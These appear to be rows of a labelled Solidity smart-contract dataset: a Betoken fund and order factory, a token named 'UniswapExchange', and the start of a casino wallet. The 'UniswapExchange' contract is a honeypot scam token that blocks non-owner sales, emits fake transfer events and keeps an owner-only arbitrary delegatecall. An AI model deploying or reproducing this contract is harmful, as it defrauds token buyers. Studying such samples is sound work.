if (!success) { revert(); }
}
function sellOrder(uint256 _minPrice, uint256 _maxPrice) public returns (uint256 _inputAmount, uint256 _outputAmount) {
(bool success, bytes memory result) = logicContract.delegatecall(abi.encodeWithSelector(this.sellOrder.selector, _minPrice, _maxPrice));
if (!success) { revert(); }
return abi.decode(result, (uint256, uint256));
}
function repayLoan(uint256 _repayAmountInDAI) public {
(bool success,) = logicContract.delegatecall(abi.encodeWithSelector(this.repayLoan.selector, _repayAmountInDAI));
if (!success) { revert(); }
}
function getCurrentLiquidityInDAI() public returns (bool _isNegative, uint256 _amount) {
(bool success, bytes memory result) = logicContract.delegatecall(abi.encodeWithSelector(this.getCurrentLiquidityInDAI.selector));
if (!success) { revert(); }
return abi.decode(result, (bool, uint256));
}
function getCurrentCollateralRatioInDAI() public returns (uint256 _amount) {
(bool success, bytes memory result) = logicContract.delegatecall(abi.encodeWithSelector(this.getCurrentCollateralRatioInDAI.selector));
if (!success) { revert(); }
return abi.decode(result, (uint256));
}
function getCurrentProfitInDAI() public returns (bool _isNegative, uint256 _amount) {
(bool success, bytes memory result) = logicContract.delegatecall(abi.encodeWithSelector(this.getCurrentProfitInDAI.selector));
if (!success) { revert(); }
return abi.decode(result, (bool, uint256));
}
function getMarketCollateralFactor() public returns (uint256) {
(bool success, bytes memory result) = logicContract.delegatecall(abi.encodeWithSelector(this.getMarketCollateralFactor.selector));
if (!success) { revert(); }
return abi.decode(result, (uint256));
}
function getCurrentCollateralInDAI() public returns (uint256 _amount) {
(bool success, bytes memory result) = logicContract.delegatecall(abi.encodeWithSelector(this.getCurrentCollateralInDAI.selector));
if (!success) { revert(); }
return abi.decode(result, (uint256));
}
function getCurrentBorrowInDAI() public returns (uint256 _amount) {
(bool success, bytes memory result) = logicContract.delegatecall(abi.encodeWithSelector(this.getCurrentBorrowInDAI.selector));
if (!success) { revert(); }
return abi.decode(result, (uint256));
}
function getCurrentCashInDAI() public returns (uint256 _amount) {
(bool success, bytes memory result) = logicContract.delegatecall(abi.encodeWithSelector(this.getCurrentCashInDAI.selector));
if (!success) { revert(); }
return abi.decode(result, (uint256));
}
function() external payable {}
}
contract CompoundOrderFactory {
address public SHORT_CERC20_LOGIC_CONTRACT;
address public SHORT_CEther_LOGIC_CONTRACT;
address public LONG_CERC20_LOGIC_CONTRACT;
address public LONG_CEther_LOGIC_CONTRACT;
address public DAI_ADDR;
address payable public KYBER_ADDR;
address public COMPTROLLER_ADDR;
address public ORACLE_ADDR;
address public CDAI_ADDR;
address public CETH_ADDR;
constructor(
address _shortCERC20LogicContract,
address _shortCEtherLogicContract,
address _longCERC20LogicContract,
address _longCEtherLogicContract,
address _daiAddr,
address payable _kyberAddr,
address _comptrollerAddr,
address _priceOracleAddr,
address _cDAIAddr,
address _cETHAddr
) public {
SHORT_CERC20_LOGIC_CONTRACT = _shortCERC20LogicContract;
SHORT_CEther_LOGIC_CONTRACT = _shortCEtherLogicContract;
LONG_CERC20_LOGIC_CONTRACT = _longCERC20LogicContract;
LONG_CEther_LOGIC_CONTRACT = _longCEtherLogicContract;
DAI_ADDR = _daiAddr;
KYBER_ADDR = _kyberAddr;
COMPTROLLER_ADDR = _comptrollerAddr;
ORACLE_ADDR = _priceOracleAddr;
CDAI_ADDR = _cDAIAddr;
CETH_ADDR = _cETHAddr;
}
function createOrder(
address _compoundTokenAddr,
uint256 _cycleNumber,
uint256 _stake,
uint256 _collateralAmountInDAI,
uint256 _loanAmountInDAI,
bool _orderType
) public returns (CompoundOrder) {
require(_compoundTokenAddr != address(0));
CompoundOrder order;
address logicContract;
if (_compoundTokenAddr != CETH_ADDR) {
logicContract = _orderType ? SHORT_CERC20_LOGIC_CONTRACT : LONG_CERC20_LOGIC_CONTRACT;
} else {
logicContract = _orderType ? SHORT_CEther_LOGIC_CONTRACT : LONG_CEther_LOGIC_CONTRACT;
}
order = new CompoundOrder(_compoundTokenAddr, _cycleNumber, _stake, _collateralAmountInDAI, _loanAmountInDAI, _orderType, logicContract, DAI_ADDR, KYBER_ADDR, COMPTROLLER_ADDR, ORACLE_ADDR, CDAI_ADDR, CETH_ADDR);
order.transferOwnership(msg.sender);
return order;
}
function getMarketCollateralFactor(address _compoundTokenAddr) public view returns (uint256) {
Comptroller troll = Comptroller(COMPTROLLER_ADDR);
(, uint256 factor) = troll.markets(_compoundTokenAddr);
return factor;
}
}
contract BetokenFund is BetokenStorage, Utils, TokenController {
modifier during(CyclePhase phase) {
require(cyclePhase == phase);
_;
}
modifier readyForUpgradeMigration {
require(hasFinalizedNextVersion == true);
require(now > startTimeOfCyclePhase.add(phaseLengths[uint(CyclePhase.Intermission)]));
_;
}
modifier notReadyForUpgrade {
require(hasFinalizedNextVersion == false);
_;
}
constructor(
address payable _kroAddr,
address payable _sTokenAddr,
address payable _devFundingAccount,
uint256[2] memory _phaseLengths,
uint256 _devFundingRate,
address payable _previousVersion,
address _daiAddr,
address payable _kyberAddr,
address _compoundFactoryAddr,
address _betokenLogic
)
public
Utils(_daiAddr, _kyberAddr)
{
controlTokenAddr = _kroAddr;
shareTokenAddr = _sTokenAddr;
devFundingAccount = _devFundingAccount;
phaseLengths = _phaseLengths;
devFundingRate = _devFundingRate;
cyclePhase = CyclePhase.Manage;
compoundFactoryAddr = _compoundFactoryAddr;
betokenLogic = _betokenLogic;
previousVersion = _previousVersion;
cToken = IMiniMeToken(_kroAddr);
sToken = IMiniMeToken(_sTokenAddr);
}
function initTokenListings(
address[] memory _kyberTokens,
address[] memory _compoundTokens,
address[] memory _positionTokens
)
public
onlyOwner
{
require(!hasInitializedTokenListings);
hasInitializedTokenListings = true;
uint256 i;
for (i = 0; i < _kyberTokens.length; i = i.add(1)) {
isKyberToken[_kyberTokens[i]] = true;
}
for (i = 0; i < _compoundTokens.length; i = i.add(1)) {
isCompoundToken[_compoundTokens[i]] = true;
}
for (i = 0; i < _positionTokens.length; i = i.add(1)) {
isPositionToken[_positionTokens[i]] = true;
}
}
function setProxy(address payable _proxyAddr) public onlyOwner {
require(_proxyAddr != address(0));
require(proxyAddr == address(0));
proxyAddr = _proxyAddr;
proxy = BetokenProxyInterface(_proxyAddr);
}
function developerInitiateUpgrade(address payable _candidate) public during(CyclePhase.Intermission) onlyOwner notReadyForUpgrade returns (bool _success) {
(bool success, bytes memory result) = betokenLogic.delegatecall(abi.encodeWithSelector(this.developerInitiateUpgrade.selector, _candidate));
if (!success) { return false; }
return abi.decode(result, (bool));
}
function signalUpgrade(bool _inSupport) public during(CyclePhase.Intermission) notReadyForUpgrade returns (bool _success) {
(bool success, bytes memory result) = betokenLogic.delegatecall(abi.encodeWithSelector(this.signalUpgrade.selector, _inSupport));
if (!success) { return false; }
return abi.decode(result, (bool));
}
function proposeCandidate(uint256 _chunkNumber, address payable _candidate) public during(CyclePhase.Manage) notReadyForUpgrade returns (bool _success) {
(bool success, bytes memory result) = betokenLogic.delegatecall(abi.encodeWithSelector(this.proposeCandidate.selector, _chunkNumber, _candidate));
if (!success) { return false; }
return abi.decode(result, (bool));
}
function voteOnCandidate(uint256 _chunkNumber, bool _inSupport) public during(CyclePhase.Manage) notReadyForUpgrade returns (bool _success) {
(bool success, bytes memory result) = betokenLogic.delegatecall(abi.encodeWithSelector(this.voteOnCandidate.selector, _chunkNumber, _inSupport));
if (!success) { return false; }
return abi.decode(result, (bool));
}
function finalizeSuccessfulVote(uint256 _chunkNumber) public during(CyclePhase.Manage) notReadyForUpgrade returns (bool _success) {
(bool success, bytes memory result) = betokenLogic.delegatecall(abi.encodeWithSelector(this.finalizeSuccessfulVote.selector, _chunkNumber));
if (!success) { return false; }
return abi.decode(result, (bool));
}
function migrateOwnedContractsToNextVersion() public nonReentrant readyForUpgradeMigration {
cToken.transferOwnership(nextVersion);
sToken.transferOwnership(nextVersion);
proxy.updateBetokenFundAddress();
}
function transferAssetToNextVersion(address _assetAddress) public nonReentrant readyForUpgradeMigration isValidToken(_assetAddress) {
if (_assetAddress == address(ETH_TOKEN_ADDRESS)) {
nextVersion.transfer(address(this).balance);
} else {
ERC20Detailed token = ERC20Detailed(_assetAddress);
token.safeTransfer(nextVersion, token.balanceOf(address(this)));
}
}
function investmentsCount(address _userAddr) public view returns(uint256 _count) {
return userInvestments[_userAddr].length;
}
function compoundOrdersCount(address _userAddr) public view returns(uint256 _count) {
return userCompoundOrders[_userAddr].length;
}
function getPhaseLengths() public view returns(uint256[2] memory _phaseLengths) {
return phaseLengths;
}
function commissionBalanceOf(address _manager) public view returns (uint256 _commission, uint256 _penalty) {
if (lastCommissionRedemption[_manager] >= cycleNumber) { return (0, 0); }
uint256 cycle = lastCommissionRedemption[_manager] > 0 ? lastCommissionRedemption[_manager] : 1;
uint256 cycleCommission;
uint256 cyclePenalty;
for (; cycle < cycleNumber; cycle = cycle.add(1)) {
(cycleCommission, cyclePenalty) = commissionOfAt(_manager, cycle);
_commission = _commission.add(cycleCommission);
_penalty = _penalty.add(cyclePenalty);
}
}
function commissionOfAt(address _manager, uint256 _cycle) public view returns (uint256 _commission, uint256 _penalty) {
if (hasRedeemedCommissionForCycle[_manager][_cycle]) { return (0, 0); }
uint256 baseKairoBalance = cToken.balanceOfAt(_manager, managePhaseEndBlock[_cycle.sub(1)]);
uint256 baseStake = baseKairoBalance == 0 ? baseRiskStakeFallback[_manager] : baseKairoBalance;
if (baseKairoBalance == 0 && baseRiskStakeFallback[_manager] == 0) { return (0, 0); }
uint256 riskTakenProportion = riskTakenInCycle[_manager][_cycle].mul(PRECISION).div(baseStake.mul(MIN_RISK_TIME));
riskTakenProportion = riskTakenProportion > PRECISION ? PRECISION : riskTakenProportion;
uint256 fullCommission = totalCommissionOfCycle[_cycle].mul(cToken.balanceOfAt(_manager, managePhaseEndBlock[_cycle]))
.div(cToken.totalSupplyAt(managePhaseEndBlock[_cycle]));
_commission = fullCommission.mul(riskTakenProportion).div(PRECISION);
_penalty = fullCommission.sub(_commission);
}
function changeDeveloperFeeAccount(address payable _newAddr) public onlyOwner {
require(_newAddr != address(0) && _newAddr != address(this));
devFundingAccount = _newAddr;
}
function changeDeveloperFeeRate(uint256 _newProp) public onlyOwner {
require(_newProp < PRECISION);
require(_newProp < devFundingRate);
devFundingRate = _newProp;
}
function listKyberToken(address _token) public onlyOwner {
isKyberToken[_token] = true;
}
function nextPhase()
public
{
(bool success,) = betokenLogic.delegatecall(abi.encodeWithSelector(this.nextPhase.selector));
if (!success) { revert(); }
}
function registerWithDAI(uint256 _donationInDAI) public nonReentrant {
(bool success,) = betokenLogic.delegatecall(abi.encodeWithSelector(this.registerWithDAI.selector, _donationInDAI));
if (!success) { revert(); }
}
function registerWithETH() public payable nonReentrant {
(bool success,) = betokenLogic.delegatecall(abi.encodeWithSelector(this.registerWithETH.selector));
if (!success) { revert(); }
}
function registerWithToken(address _token, uint256 _donationInTokens) public nonReentrant {
(bool success,) = betokenLogic.delegatecall(abi.encodeWithSelector(this.registerWithToken.selector, _token, _donationInTokens));
if (!success) { revert(); }
}
function depositEther()
public
payable
during(CyclePhase.Intermission)
nonReentrant
notReadyForUpgrade
{
uint256 actualDAIDeposited;
uint256 actualETHDeposited;
(,, actualDAIDeposited, actualETHDeposited) = __kyberTrade(ETH_TOKEN_ADDRESS, msg.value, dai);
uint256 leftOverETH = msg.value.sub(actualETHDeposited);
if (leftOverETH > 0) {
msg.sender.transfer(leftOverETH);
}
__deposit(actualDAIDeposited);
emit Deposit(cycleNumber, msg.sender, address(ETH_TOKEN_ADDRESS), actualETHDeposited, actualDAIDeposited, now);
}
function depositDAI(uint256 _daiAmount)
public
during(CyclePhase.Intermission)
nonReentrant
notReadyForUpgrade
{
dai.safeTransferFrom(msg.sender, address(this), _daiAmount);
__deposit(_daiAmount);
emit Deposit(cycleNumber, msg.sender, DAI_ADDR, _daiAmount, _daiAmount, now);
}
function depositToken(address _tokenAddr, uint256 _tokenAmount)
public
nonReentrant
during(CyclePhase.Intermission)
isValidToken(_tokenAddr)
notReadyForUpgrade
{
require(_tokenAddr != DAI_ADDR && _tokenAddr != address(ETH_TOKEN_ADDRESS));
ERC20Detailed token = ERC20Detailed(_tokenAddr);
token.safeTransferFrom(msg.sender, address(this), _tokenAmount);
uint256 actualDAIDeposited;
uint256 actualTokenDeposited;
(,, actualDAIDeposited, actualTokenDeposited) = __kyberTrade(token, _tokenAmount, dai);
uint256 leftOverTokens = _tokenAmount.sub(actualTokenDeposited);
if (leftOverTokens > 0) {
token.safeTransfer(msg.sender, leftOverTokens);
}
__deposit(actualDAIDeposited);
emit Deposit(cycleNumber, msg.sender, _tokenAddr, actualTokenDeposited, actualDAIDeposited, now);
}
function withdrawEther(uint256 _amountInDAI)
public
during(CyclePhase.Intermission)
nonReentrant
{
uint256 actualETHWithdrawn;
uint256 actualDAIWithdrawn;
(,, actualETHWithdrawn, actualDAIWithdrawn) = __kyberTrade(dai, _amountInDAI, ETH_TOKEN_ADDRESS);
__withdraw(actualDAIWithdrawn);
msg.sender.transfer(actualETHWithdrawn);
emit Withdraw(cycleNumber, msg.sender, address(ETH_TOKEN_ADDRESS), actualETHWithdrawn, actualDAIWithdrawn, now);
}
function withdrawDAI(uint256 _amountInDAI)
public
during(CyclePhase.Intermission)
nonReentrant
{
__withdraw(_amountInDAI);
dai.safeTransfer(msg.sender, _amountInDAI);
emit Withdraw(cycleNumber, msg.sender, DAI_ADDR, _amountInDAI, _amountInDAI, now);
}
function withdrawToken(address _tokenAddr, uint256 _amountInDAI)
public
nonReentrant
during(CyclePhase.Intermission)
isValidToken(_tokenAddr)
{
require(_tokenAddr != DAI_ADDR && _tokenAddr != address(ETH_TOKEN_ADDRESS));
ERC20Detailed token = ERC20Detailed(_tokenAddr);
uint256 actualTokenWithdrawn;
uint256 actualDAIWithdrawn;
(,, actualTokenWithdrawn, actualDAIWithdrawn) = __kyberTrade(dai, _amountInDAI, token);
__withdraw(actualDAIWithdrawn);
token.safeTransfer(msg.sender, actualTokenWithdrawn);
emit Withdraw(cycleNumber, msg.sender, _tokenAddr, actualTokenWithdrawn, actualDAIWithdrawn, now);
}
function redeemCommission(bool _inShares)
public
during(CyclePhase.Intermission)
nonReentrant
{
uint256 commission = __redeemCommission();
if (_inShares) {
__deposit(commission);
emit Deposit(cycleNumber, msg.sender, DAI_ADDR, commission, commission, now);
} else {
dai.safeTransfer(msg.sender, commission);
}
}
function redeemCommissionForCycle(bool _inShares, uint256 _cycle)
public
during(CyclePhase.Intermission)
nonReentrant
{
require(_cycle < cycleNumber);
uint256 commission = __redeemCommissionForCycle(_cycle);
if (_inShares) {
__deposit(commission);
emit Deposit(cycleNumber, msg.sender, DAI_ADDR, commission, commission, now);
} else {
dai.safeTransfer(msg.sender, commission);
}
}
function sellLeftoverToken(address _tokenAddr)
public
nonReentrant
during(CyclePhase.Intermission)
isValidToken(_tokenAddr)
{
ERC20Detailed token = ERC20Detailed(_tokenAddr);
(,,uint256 actualDAIReceived,) = __kyberTrade(token, getBalance(token, address(this)), dai);
totalFundsInDAI = totalFundsInDAI.add(actualDAIReceived);
}
function sellLeftoverCompoundOrder(address payable _orderAddress)
public
nonReentrant
during(CyclePhase.Intermission)
{
require(_orderAddress != address(0));
CompoundOrder order = CompoundOrder(_orderAddress);
require(order.isSold() == false && order.cycleNumber() < cycleNumber);
uint256 beforeDAIBalance = dai.balanceOf(address(this));
order.sellOrder(0, MAX_QTY);
uint256 actualDAIReceived = dai.balanceOf(address(this)).sub(beforeDAIBalance);
totalFundsInDAI = totalFundsInDAI.add(actualDAIReceived);
}
function burnDeadman(address _deadman)
public
nonReentrant
during(CyclePhase.Intermission)
{
require(_deadman != address(this));
require(cycleNumber.sub(lastActiveCycle[_deadman]) >= INACTIVE_THRESHOLD);
require(cToken.destroyTokens(_deadman, cToken.balanceOf(_deadman)));
}
function createInvestment(
address _tokenAddress,
uint256 _stake,
uint256 _minPrice,
uint256 _maxPrice
)
public
nonReentrant
isValidToken(_tokenAddress)
during(CyclePhase.Manage)
{
(bool success,) = betokenLogic.delegatecall(abi.encodeWithSelector(this.createInvestment.selector, _tokenAddress, _stake, _minPrice, _maxPrice));
if (!success) { revert(); }
}
function sellInvestmentAsset(
uint256 _investmentId,
uint256 _tokenAmount,
uint256 _minPrice,
uint256 _maxPrice
)
public
during(CyclePhase.Manage)
nonReentrant
{
(bool success,) = betokenLogic.delegatecall(abi.encodeWithSelector(this.sellInvestmentAsset.selector, _investmentId, _tokenAmount, _minPrice, _maxPrice));
if (!success) { revert(); }
}
function createCompoundOrder(
bool _orderType,
address _tokenAddress,
uint256 _stake,
uint256 _minPrice,
uint256 _maxPrice
)
public
nonReentrant
during(CyclePhase.Manage)
isValidToken(_tokenAddress)
{
(bool success,) = betokenLogic.delegatecall(abi.encodeWithSelector(this.createCompoundOrder.selector, _orderType, _tokenAddress, _stake, _minPrice, _maxPrice));
if (!success) { revert(); }
}
function sellCompoundOrder(
uint256 _orderId,
uint256 _minPrice,
uint256 _maxPrice
)
public
during(CyclePhase.Manage)
nonReentrant
{
(bool success,) = betokenLogic.delegatecall(abi.encodeWithSelector(this.sellCompoundOrder.selector, _orderId, _minPrice, _maxPrice));
if (!success) { revert(); }
}
function repayCompoundOrder(uint256 _orderId, uint256 _repayAmountInDAI) public during(CyclePhase.Manage) nonReentrant {
(bool success,) = betokenLogic.delegatecall(abi.encodeWithSelector(this.repayCompoundOrder.selector, _orderId, _repayAmountInDAI));
if (!success) { revert(); }
}
function proxyPayment(address _owner) public payable returns(bool) {
return false;
}
function onTransfer(address _from, address _to, uint _amount) public returns(bool) {
return true;
}
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool) {
return true;
}
function __deposit(uint256 _depositDAIAmount) internal {
if (sToken.totalSupply() == 0 || totalFundsInDAI == 0) {
require(sToken.generateTokens(msg.sender, _depositDAIAmount));
} else {
require(sToken.generateTokens(msg.sender, _depositDAIAmount.mul(sToken.totalSupply()).div(totalFundsInDAI)));
}
totalFundsInDAI = totalFundsInDAI.add(_depositDAIAmount);
}
function __withdraw(uint256 _withdrawDAIAmount) internal {
require(sToken.destroyTokens(msg.sender, _withdrawDAIAmount.mul(sToken.totalSupply()).div(totalFundsInDAI)));
totalFundsInDAI = totalFundsInDAI.sub(_withdrawDAIAmount);
}
function __redeemCommission() internal returns (uint256 _commission) {
require(lastCommissionRedemption[msg.sender] < cycleNumber);
uint256 penalty;
(_commission, penalty) = commissionBalanceOf(msg.sender);
for (uint256 i = lastCommissionRedemption[msg.sender]; i < cycleNumber; i = i.add(1)) {
hasRedeemedCommissionForCycle[msg.sender][i] = true;
}
lastCommissionRedemption[msg.sender] = cycleNumber;
totalCommissionLeft = totalCommissionLeft.sub(_commission);
totalCommissionOfCycle[cycleNumber] = totalCommissionOfCycle[cycleNumber].add(penalty);
delete userInvestments[msg.sender];
delete userCompoundOrders[msg.sender];
emit CommissionPaid(cycleNumber, msg.sender, _commission);
}
function __redeemCommissionForCycle(uint256 _cycle) internal returns (uint256 _commission) {
require(!hasRedeemedCommissionForCycle[msg.sender][_cycle]);
uint256 penalty;
(_commission, penalty) = commissionOfAt(msg.sender, _cycle);
hasRedeemedCommissionForCycle[msg.sender][_cycle] = true;
totalCommissionLeft = totalCommissionLeft.sub(_commission);
totalCommissionOfCycle[cycleNumber] = totalCommissionOfCycle[cycleNumber].add(penalty);
delete userInvestments[msg.sender];
delete userCompoundOrders[msg.sender];
emit CommissionPaid(_cycle, msg.sender, _commission);
}
function() external payable {}
} | 1 | 4,312 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 510 |
pragma solidity ^0.4.25;
contract SafeMath {
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeSub(int a, int b) internal pure returns (int) {
if (b < 0) assert(a - b > a);
else assert(a - b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
}
contract Token {
function transfer(address receiver, uint amount) public returns (bool) {
(receiver);
(amount);
return false;
}
function balanceOf(address holder) public view returns (uint) {
(holder);
return 0;
}
function approve(address _spender, uint256 _value) public returns (bool) {
(_spender);
(_value);
return false;
}
}
contract Casino {
function deposit(address _receiver, uint _amount, bool _chargeGas) public;
}
contract Owned {
address public owner;
address public receiver;
mapping (address => bool) public moderator;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerator {
require(moderator[msg.sender]);
_;
}
modifier onlyAdmin {
require(moderator[msg.sender] || msg.sender == owner);
_;
}
constructor() internal {
owner = msg.sender;
receiver = msg.sender;
}
function setOwner(address _address) public onlyOwner {
owner = _address;
}
function setReceiver(address _address) public onlyAdmin {
receiver = _address;
}
function addModerator(address _address) public onlyOwner {
moderator[_address] = true;
}
function removeModerator(address _address) public onlyOwner {
moderator[_address] = false;
}
}
contract RequiringAuthorization is Owned {
mapping(address => bool) public authorized;
modifier onlyAuthorized {
require(authorized[msg.sender]);
_;
}
constructor() internal {
authorized[msg.sender] = true;
}
function authorize(address _address) public onlyAdmin {
authorized[_address] = true;
}
function deauthorize(address _address) public onlyAdmin {
authorized[_address] = false;
}
}
contract Pausable is Owned {
bool public paused = false;
event Paused(bool _paused);
modifier onlyPaused {
require(paused == true);
_;
}
modifier onlyActive {
require(paused == false);
_;
}
function pause() public onlyActive onlyAdmin {
paused = true;
}
function activate() public onlyPaused onlyOwner {
paused = false;
}
}
contract BankWallet is Pausable, RequiringAuthorization, SafeMath {
address public edgelessToken;
address public edgelessCasino;
uint public oneEdg = 100000;
uint public maxFundAmount = 0.22 ether;
